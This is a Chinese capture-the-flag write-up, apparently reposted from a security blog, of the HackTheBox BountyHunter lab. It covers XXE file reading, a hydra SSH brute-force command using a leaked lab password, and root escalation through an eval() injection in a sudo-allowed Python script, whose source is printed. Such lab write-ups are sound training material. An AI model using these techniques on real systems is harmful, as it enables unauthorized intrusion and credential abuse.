靶场攻略 | BountyHunter靶场实战

admin 2023年3月17日21:29:36靶场攻略 | BountyHunter靶场实战已关闭评论23 views字数 2350阅读7分50秒阅读模式
| 声明:该公众号大部分文章来自作者日常学习笔记,也有少部分文章是经过原作者授权和其他公众号白名单转载,未经授权,严禁转载,如需转载,联系开白。
请勿利用文章内的相关技术从事非法测试,如因此产生的一切不良后果与文章作者和本公众号无关。


感谢群友@rural老哥的投稿,感谢分享 图片 。在这篇文章详细记录了他打“HackTheBox-BountyHunter”靶场的整个过程,希望大家能够从中有所收获。图片




首先用nmap扫描靶机开放了那些端口和服务

图片


22就不爆破了,来访问80端口试试

图片
图片

点着点着就来到了一个页面

图片

随便试了一下,开始抓包

图片

Data是一串被编码的字符串他是先用的bases64加密之后在用url编码加密,解出来之后是个xml的实体

图片

这个就是试试xml实体注入了

xml实体注入,先把代码写出来在加密之后发送给服务器

图片

  • 第1行是一个 XML 文档声明,告诉解析器这是一个 XML 文件。

  • 第2-4行是 DTD,调用了一个外部实体,将本机 test.txt 文件的内容赋值给实体test。此处造成了XML实体注入攻击。

  • 最后一行是输出实体的值

在编码之后发送给服务器

图片

这样就证明了xml实体注入的存在,而且获取到了passwd文件知道了服务器的用户名,这里陷入了僵局,不知道咋办了,在看了教程之后明白了要读取db.php看名字就和数据库有关

图片
图片

返回了一串加密字符串我们解密看看

图片

是个连接数据库的php代码

<?php// TODO -> Implement login system with the database.$dbserver = "localhost";$dbname = "bounty";$dbusername = "admin";$dbpassword = "m19RoAU0hP41A1sTsq6K";$testuser = "test";?>

用密码尝试登录admin和test用户没有成功,我门在passwd里面获得了用户名可以用这个密码爆破一波

┌──(root💀kali)-[/tools]└─# cut -d : -f 1 passwd.txt >user

得到用户名文本user,现在用hydra爆破用户名

┌──(root💀kali)-[/tools]└─# hydra -L /tools/user -p m19RoAU0hP41A1sTsq6K 10.10.11.100 ssh
图片

爆破成功得到用户名密码

[22][ssh] host: 10.10.11.100   login: development   password: m19RoAU0hP41A1sTsq6K

登录服务器查看权限

图片

普通用户权限,尝试提权

图片

sudo -l 之后发现它可以无密执行一个python文件和python3.8的环境,我们打开文件看看是一个python脚本

#Skytrain Inc Ticket Validation System 0.1#Do not distribute this file.
def load_file(loc):\\判断文件是否是md后缀 if loc.endswith(".md"): return open(loc, 'r') else: print("Wrong file type.") exit()
def evaluate(ticketFile): #Evaluates a ticket to check for ireggularities. code_line = None for i,x in enumerate(ticketFile.readlines()): if i == 0:\\判断文件第一行是否是# Skytrain Inc if not x.startswith("# Skytrain Inc"): return False continue if i == 1:\\同上 if not x.startswith("## Ticket to "): return False print(f"Destination: {' '.join(x.strip().split(' ')[3:])}") continue
if x.startswith("__Ticket Code:__"):\\判断__Ticket Code:__在第几行 code_line = i+1 continue
if code_line and i == code_line: if not x.startswith("**"):\\判断地四行开头是否有** return False ticketCode = x.replace("**", "").split("+")[0]\\取这一行**和+中间的数字 if int(ticketCode) % 7 == 4:\\ ticketCode和7取余等于4 validationNumber = eval(x.replace("**", ""))\\用eval()执行**后面的命令 print(validationNumber) if validationNumber > 100: return True else: return False return False
def main(): fileName = input("Please enter the path to the ticket file.\n") ticket = load_file(fileName) #DEBUG print(ticket) result = evaluate(ticket) if (result):\\判断result是否为ture print("Valid ticket.") else: print("Invalid ticket.") ticket.close
main()

这里我对代码进行了注释,方便理解,我们构造一个asd.md文件

图片

这里使and后面的执行等于falsh从而给代码返回1414是的函数return一个true

我们在kali监听并在靶机执行脚本

图片

成功返回root权限的shell,之后获取flag,取得胜利!!

图片

  • 左青龙
  • 微信扫一扫
  • weinxin
  • 右白虎
  • 微信扫一扫
  • weinxin
admin
  • 本文由 发表于 2023年3月17日21:29:36
  • 转载请保留本文链接(CN-SEC中文网:感谢原作者辛苦付出):
                   靶场攻略 | BountyHunter靶场实战https://cn-sec.com/archives/1610840.html